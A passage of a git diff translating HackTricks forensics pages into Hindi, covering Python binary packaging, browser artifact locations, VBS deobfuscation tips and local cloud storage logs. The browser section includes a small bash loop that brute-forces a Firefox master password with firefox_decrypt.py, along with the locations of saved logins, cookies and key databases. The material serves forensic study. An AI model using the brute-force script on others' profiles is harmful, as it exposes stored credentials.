[{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +178,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### PyInstaller का उपयोग करके एक पेलोड बनाने के लिए: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. pip का उपयोग करके PyInstaller स्थापित करें (pip install pyinstaller)। +2. इसके बाद, हम कमांड “pyinstaller –onefile hello.py” जारी करेंगे (याद रखें कि ‘hello.py’ हमारा पेलोड है)। यह सब कुछ एक निष्पादन योग्य में बंडल कर देगा। ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +194,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## संदर्भ - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..e7bdea6fb 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -Here you can find interesting tricks for specific file-types and/or software: +यहाँ आप विशिष्ट फ़ाइल-प्रकारों और/या सॉफ़्टवेयर के लिए दिलचस्प तरकीबें पा सकते हैं: {{#ref}} .pyc.md diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index ba35ea1fd..00a5c9ea6 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,139 +1,129 @@ -# Browser Artifacts +# ब्राउज़र आर्टिफैक्ट्स {{#include ../../../banners/hacktricks-training.md}} -
+## ब्राउज़र आर्टिफैक्ट्स -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +ब्राउज़र आर्टिफैक्ट्स में विभिन्न प्रकार के डेटा शामिल होते हैं जो वेब ब्राउज़रों द्वारा संग्रहीत किए जाते हैं, जैसे कि नेविगेशन इतिहास, बुकमार्क और कैश डेटा। ये आर्टिफैक्ट्स ऑपरेटिंग सिस्टम के भीतर विशिष्ट फ़ोल्डरों में रखे जाते हैं, जो ब्राउज़रों के बीच स्थान और नाम में भिन्न होते हैं, फिर भी सामान्यतः समान डेटा प्रकारों को संग्रहीत करते हैं। -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +यहाँ सबसे सामान्य ब्राउज़र आर्टिफैक्ट्स का सारांश है: -## Browsers Artifacts +- **नेविगेशन इतिहास**: उपयोगकर्ता द्वारा वेबसाइटों पर किए गए दौरे को ट्रैक करता है, जो दुर्भावनापूर्ण साइटों पर दौरे की पहचान करने के लिए उपयोगी है। +- **ऑटो-कंप्लीट डेटा**: बार-बार किए गए खोजों के आधार पर सुझाव, जो नेविगेशन इतिहास के साथ मिलकर अंतर्दृष्टि प्रदान करते हैं। +- **बुकमार्क्स**: उपयोगकर्ता द्वारा त्वरित पहुँच के लिए सहेजे गए साइटें। +- **एक्सटेंशन और ऐड-ऑन**: उपयोगकर्ता द्वारा स्थापित ब्राउज़र एक्सटेंशन या ऐड-ऑन। +- **कैश**: वेब सामग्री (जैसे, चित्र, जावास्क्रिप्ट फ़ाइलें) को संग्रहीत करता है ताकि वेबसाइट लोडिंग समय में सुधार हो सके, फोरेंसिक विश्लेषण के लिए मूल्यवान। +- **लॉगिन**: संग्रहीत लॉगिन क्रेडेंशियल्स। +- **फेविकॉन**: वेबसाइटों से जुड़े आइकन, जो टैब और बुकमार्क में दिखाई देते हैं, उपयोगकर्ता दौरे पर अतिरिक्त जानकारी के लिए उपयोगी। +- **ब्राउज़र सत्र**: खुले ब्राउज़र सत्रों से संबंधित डेटा। +- **डाउनलोड**: ब्राउज़र के माध्यम से डाउनलोड की गई फ़ाइलों का रिकॉर्ड। +- **फॉर्म डेटा**: वेब फॉर्म में दर्ज की गई जानकारी, भविष्य के ऑटोफिल सुझावों के लिए सहेजी गई। +- **थंबनेल्स**: वेबसाइटों के पूर्वावलोकन चित्र। +- **कस्टम डिक्शनरी.txt**: शब्द जो उपयोगकर्ता द्वारा ब्राउज़र के डिक्शनरी में जोड़े गए। -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. +## फ़ायरफ़ॉक्स -Here's a summary of the most common browser artifacts: +फ़ायरफ़ॉक्स उपयोगकर्ता डेटा को प्रोफाइल में व्यवस्थित करता है, जो ऑपरेटिंग सिस्टम के आधार पर विशिष्ट स्थानों में संग्रहीत होते हैं: -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **लिनक्स**: `~/.mozilla/firefox/` +- **मैकओएस**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` +- **विंडोज**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -## Firefox +इन निर्देशिकाओं में एक `profiles.ini` फ़ाइल उपयोगकर्ता प्रोफाइल की सूची बनाती है। प्रत्येक प्रोफाइल का डेटा `profiles.ini` में `Path` वेरिएबल में नामित फ़ोल्डर में संग्रहीत होता है, जो `profiles.ini` के समान निर्देशिका में स्थित होता है। यदि किसी प्रोफाइल का फ़ोल्डर गायब है, तो इसे हटाया जा सकता है। -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +प्रोफाइल फ़ोल्डर के भीतर, आप कई महत्वपूर्ण फ़ाइलें पा सकते हैं: -- **Linux**: `~/.mozilla/firefox/` -- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` -- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` +- **places.sqlite**: इतिहास, बुकमार्क और डाउनलोड संग्रहीत करता है। विंडोज़ पर [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) जैसे उपकरण इतिहास डेटा तक पहुँच सकते हैं। +- इतिहास और डाउनलोड जानकारी निकालने के लिए विशिष्ट SQL क्वेरी का उपयोग करें। +- **bookmarkbackups**: बुकमार्क के बैकअप को शामिल करता है। +- **formhistory.sqlite**: वेब फॉर्म डेटा संग्रहीत करता है। +- **handlers.json**: प्रोटोकॉल हैंडलर्स का प्रबंधन करता है। +- **persdict.dat**: कस्टम डिक्शनरी शब्द। +- **addons.json** और **extensions.sqlite**: स्थापित ऐड-ऑन और एक्सटेंशन की जानकारी। +- **cookies.sqlite**: कुकी संग्रहण, विंडोज़ पर निरीक्षण के लिए [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) उपलब्ध है। +- **cache2/entries** या **startupCache**: कैश डेटा, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) जैसे उपकरणों के माध्यम से पहुँच योग्य। +- **favicons.sqlite**: फेविकॉन संग्रहीत करता है। +- **prefs.js**: उपयोगकर्ता सेटिंग्स और प्राथमिकताएँ। +- **downloads.sqlite**: पुरानी डाउनलोड डेटाबेस, अब places.sqlite में एकीकृत। +- **thumbnails**: वेबसाइट थंबनेल्स। +- **logins.json**: एन्क्रिप्टेड लॉगिन जानकारी। +- **key4.db** या **key3.db**: संवेदनशील जानकारी को सुरक्षित करने के लिए एन्क्रिप्शन कुंजी संग्रहीत करता है। -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. - -Within each profile folder, you can find several important files: - -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. - -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +अतिरिक्त रूप से, ब्राउज़र के एंटी-फिशिंग सेटिंग्स की जांच `prefs.js` में `browser.safebrowsing` प्रविष्टियों की खोज करके की जा सकती है, जो यह संकेत करती है कि सुरक्षित ब्राउज़िंग सुविधाएँ सक्षम या अक्षम हैं। +मास्टर पासवर्ड को डिक्रिप्ट करने के लिए, आप [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) का उपयोग कर सकते हैं\ +इस स्क्रिप्ट और कॉल के साथ आप एक पासवर्ड फ़ाइल को ब्रूट फोर्स करने के लिए निर्दिष्ट कर सकते हैं: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (417).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Google Chrome उपयोगकर्ता प्रोफाइल को ऑपरेटिंग सिस्टम के आधार पर विशिष्ट स्थानों में संग्रहीत करता है: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +इन निर्देशिकाओं के भीतर, अधिकांश उपयोगकर्ता डेटा **Default/** या **ChromeDefaultData/** फ़ोल्डरों में पाया जा सकता है। निम्नलिखित फ़ाइलें महत्वपूर्ण डेटा रखती हैं: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: URLs, डाउनलोड और खोज कीवर्ड शामिल हैं। Windows पर, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) का उपयोग इतिहास पढ़ने के लिए किया जा सकता है। "Transition Type" कॉलम में विभिन्न अर्थ होते हैं, जिसमें उपयोगकर्ता द्वारा लिंक पर क्लिक करना, टाइप किए गए URLs, फ़ॉर्म सबमिशन और पृष्ठ पुनः लोड करना शामिल है। +- **Cookies**: कुकीज़ संग्रहीत करता है। निरीक्षण के लिए, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) उपलब्ध है। +- **Cache**: कैश डेटा रखता है। निरीक्षण के लिए, Windows उपयोगकर्ता [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) का उपयोग कर सकते हैं। +- **Bookmarks**: उपयोगकर्ता बुकमार्क। +- **Web Data**: फ़ॉर्म इतिहास शामिल है। +- **Favicons**: वेबसाइट के फ़ेविकॉन संग्रहीत करता है। +- **Login Data**: उपयोगकर्ता नाम और पासवर्ड जैसे लॉगिन क्रेडेंशियल्स शामिल हैं। +- **Current Session**/**Current Tabs**: वर्तमान ब्राउज़िंग सत्र और खुले टैब के बारे में डेटा। +- **Last Session**/**Last Tabs**: Chrome बंद होने से पहले अंतिम सत्र के दौरान सक्रिय साइटों के बारे में जानकारी। +- **Extensions**: ब्राउज़र एक्सटेंशन और ऐड-ऑन के लिए निर्देशिकाएँ। +- **Thumbnails**: वेबसाइट के थंबनेल संग्रहीत करता है। +- **Preferences**: एक फ़ाइल जिसमें जानकारी समृद्ध है, जिसमें प्लगइन्स, एक्सटेंशन्स, पॉप-अप, सूचनाएँ और अधिक के लिए सेटिंग्स शामिल हैं। +- **Browser’s built-in anti-phishing**: यह जांचने के लिए कि क्या एंटी-फिशिंग और मैलवेयर सुरक्षा सक्षम है, `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` चलाएँ। आउटपुट में `{"enabled: true,"}` देखें। ## **SQLite DB Data Recovery** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +जैसा कि आप पिछले अनुभागों में देख सकते हैं, Chrome और Firefox दोनों **SQLite** डेटाबेस का उपयोग डेटा संग्रहीत करने के लिए करते हैं। **टूल का उपयोग करके हटाए गए प्रविष्टियों को पुनर्प्राप्त करना संभव है** [**sqlparse**](https://github.com/padfoot999/sqlparse) **या** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)। ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Internet Explorer 11 अपने डेटा और मेटाडेटा को विभिन्न स्थानों में प्रबंधित करता है, संग्रहीत जानकारी और इसके संबंधित विवरणों को अलग करने में मदद करता है ताकि आसानी से पहुँच और प्रबंधन किया जा सके। ### Metadata Storage -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +Internet Explorer के लिए मेटाडेटा `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` में संग्रहीत होता है (जहाँ VX V01, V16, या V24 हो सकता है)। इसके साथ, `V01.log` फ़ाइल में `WebcacheVX.data` के साथ संशोधन समय में असंगति दिखाई दे सकती है, जो `esentutl /r V01 /d` का उपयोग करके मरम्मत की आवश्यकता को इंगित करती है। यह मेटाडेटा, जो एक ESE डेटाबेस में स्थित है, को photorec और [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) जैसे टूल का उपयोग करके पुनर्प्राप्त और निरीक्षण किया जा सकता है। **Containers** तालिका के भीतर, कोई यह पहचान सकता है कि प्रत्येक डेटा खंड कहाँ संग्रहीत है, जिसमें अन्य Microsoft टूल जैसे Skype के लिए कैश विवरण शामिल हैं। ### Cache Inspection -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) टूल कैश निरीक्षण की अनुमति देता है, जिसमें कैश डेटा निकालने के लिए फ़ोल्डर स्थान की आवश्यकता होती है। कैश के लिए मेटाडेटा में फ़ाइल नाम, निर्देशिका, पहुँच संख्या, URL मूल, और कैश निर्माण, पहुँच, संशोधन, और समाप्ति समय को इंगित करने वाले टाइमस्टैम्प शामिल हैं। ### Cookies Management -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +कुकीज़ को [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) का उपयोग करके खोजा जा सकता है, जिसमें मेटाडेटा नाम, URLs, पहुँच संख्या, और विभिन्न समय-संबंधित विवरण शामिल हैं। स्थायी कुकीज़ `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` में संग्रहीत होती हैं, जबकि सत्र कुकीज़ मेमोरी में रहती हैं। ### Download Details -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +डाउनलोड मेटाडेटा [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) के माध्यम से सुलभ है, जिसमें विशिष्ट कंटेनर डेटा जैसे URL, फ़ाइल प्रकार, और डाउनलोड स्थान रखता है। भौतिक फ़ाइलें `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` के तहत पाई जा सकती हैं। ### Browsing History -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +ब्राउज़िंग इतिहास की समीक्षा करने के लिए, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) का उपयोग किया जा सकता है, जिसमें निकाले गए इतिहास फ़ाइलों का स्थान और Internet Explorer के लिए कॉन्फ़िगरेशन की आवश्यकता होती है। यहाँ मेटाडेटा में संशोधन और पहुँच समय, साथ ही पहुँच संख्या शामिल है। इतिहास फ़ाइलें `%userprofile%\Appdata\Local\Microsoft\Windows\History` में स्थित हैं। ### Typed URLs -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +टाइप किए गए URLs और उनके उपयोग समय को रजिस्ट्री में `NTUSER.DAT` के तहत `Software\Microsoft\InternetExplorer\TypedURLs` और `Software\Microsoft\InternetExplorer\TypedURLsTime` में संग्रहीत किया गया है, जो उपयोगकर्ता द्वारा दर्ज किए गए अंतिम 50 URLs और उनके अंतिम इनपुट समय को ट्रैक करता है। ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Microsoft Edge उपयोगकर्ता डेटा को `%userprofile%\Appdata\Local\Packages` में संग्रहीत करता है। विभिन्न डेटा प्रकारों के लिए पथ हैं: - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` @@ -143,24 +133,24 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +Safari डेटा `/Users/$User/Library/Safari` में संग्रहीत होता है। प्रमुख फ़ाइलें शामिल हैं: -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: `history_visits` और `history_items` तालिकाएँ URLs और यात्रा के टाइमस्टैम्प के साथ। क्वेरी करने के लिए `sqlite3` का उपयोग करें। +- **Downloads.plist**: डाउनलोड की गई फ़ाइलों के बारे में जानकारी। +- **Bookmarks.plist**: बुकमार्क किए गए URLs संग्रहीत करता है। +- **TopSites.plist**: सबसे अधिक देखी जाने वाली साइटें। +- **Extensions.plist**: Safari ब्राउज़र एक्सटेंशन्स की सूची। पुनर्प्राप्त करने के लिए `plutil` या `pluginkit` का उपयोग करें। +- **UserNotificationPermissions.plist**: डोमेन जो पुश सूचनाएँ भेजने की अनुमति देते हैं। पार्स करने के लिए `plutil` का उपयोग करें। +- **LastSession.plist**: अंतिम सत्र से टैब। पार्स करने के लिए `plutil` का उपयोग करें। +- **Browser’s built-in anti-phishing**: जांचें कि `defaults read com.apple.Safari WarnAboutFraudulentWebsites` का उपयोग करके। 1 का उत्तर संकेत करता है कि यह सुविधा सक्रिय है। ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +Opera का डेटा `/Users/$USER/Library/Application Support/com.operasoftware.Opera` में स्थित है और इतिहास और डाउनलोड के लिए Chrome के प्रारूप को साझा करता है। -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’s built-in anti-phishing**: यह सत्यापित करें कि क्या Preferences फ़ाइल में `fraud_protection_enabled` को `true` पर सेट किया गया है, `grep` का उपयोग करके। -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +ये पथ और कमांड विभिन्न वेब ब्राउज़रों द्वारा संग्रहीत ब्राउज़िंग डेटा तक पहुँचने और समझने के लिए महत्वपूर्ण हैं। ## References @@ -169,12 +159,4 @@ These paths and commands are crucial for accessing and understanding the browsin - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..4fdebb37f 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +कुछ चीजें जो एक दुर्भावनापूर्ण VBS फ़ाइल को डिबग/डिओबफस्केट करने के लिए उपयोगी हो सकती हैं: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## टिप्पणियाँ ```bash ' this is a comment ``` - -## Test - +## परीक्षण ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## एक फ़ाइल में डेटा लिखें ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 99792162b..eb6d74b4c 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,114 +1,96 @@ -# Local Cloud Storage +# स्थानीय क्लाउड स्टोरेज {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +Windows में, आप OneDrive फ़ोल्डर को `\Users\\AppData\Local\Microsoft\OneDrive` में पा सकते हैं। और `logs\Personal` के अंदर, आप फ़ाइल `SyncDiagnostics.log` पा सकते हैं जिसमें समन्वयित फ़ाइलों के बारे में कुछ दिलचस्प डेटा होता है: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- बाइट्स में आकार +- निर्माण तिथि +- संशोधन तिथि +- क्लाउड में फ़ाइलों की संख्या +- फ़ोल्डर में फ़ाइलों की संख्या +- **CID**: OneDrive उपयोगकर्ता का अद्वितीय आईडी +- रिपोर्ट निर्माण समय +- OS का HD का आकार -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +एक बार जब आप CID पा लेते हैं, तो **इस ID वाले फ़ाइलों की खोज करना** अनुशंसित है। आप _**\.ini**_ और _**\.dat**_ नाम की फ़ाइलें पा सकते हैं जो OneDrive के साथ समन्वयित फ़ाइलों के नाम जैसी दिलचस्प जानकारी रख सकती हैं। ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +Windows में, आप मुख्य Google Drive फ़ोल्डर को `\Users\\AppData\Local\Google\Drive\user_default` में पा सकते हैं।\ +यह फ़ोल्डर Sync_log.log नामक फ़ाइल को रखता है जिसमें खाते का ईमेल पता, फ़ाइल नाम, टाइमस्टैम्प, फ़ाइलों के MD5 हैश आदि जैसी जानकारी होती है। यहां तक कि हटाई गई फ़ाइलें भी उस लॉग फ़ाइल में अपने संबंधित MD5 के साथ दिखाई देती हैं। -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** 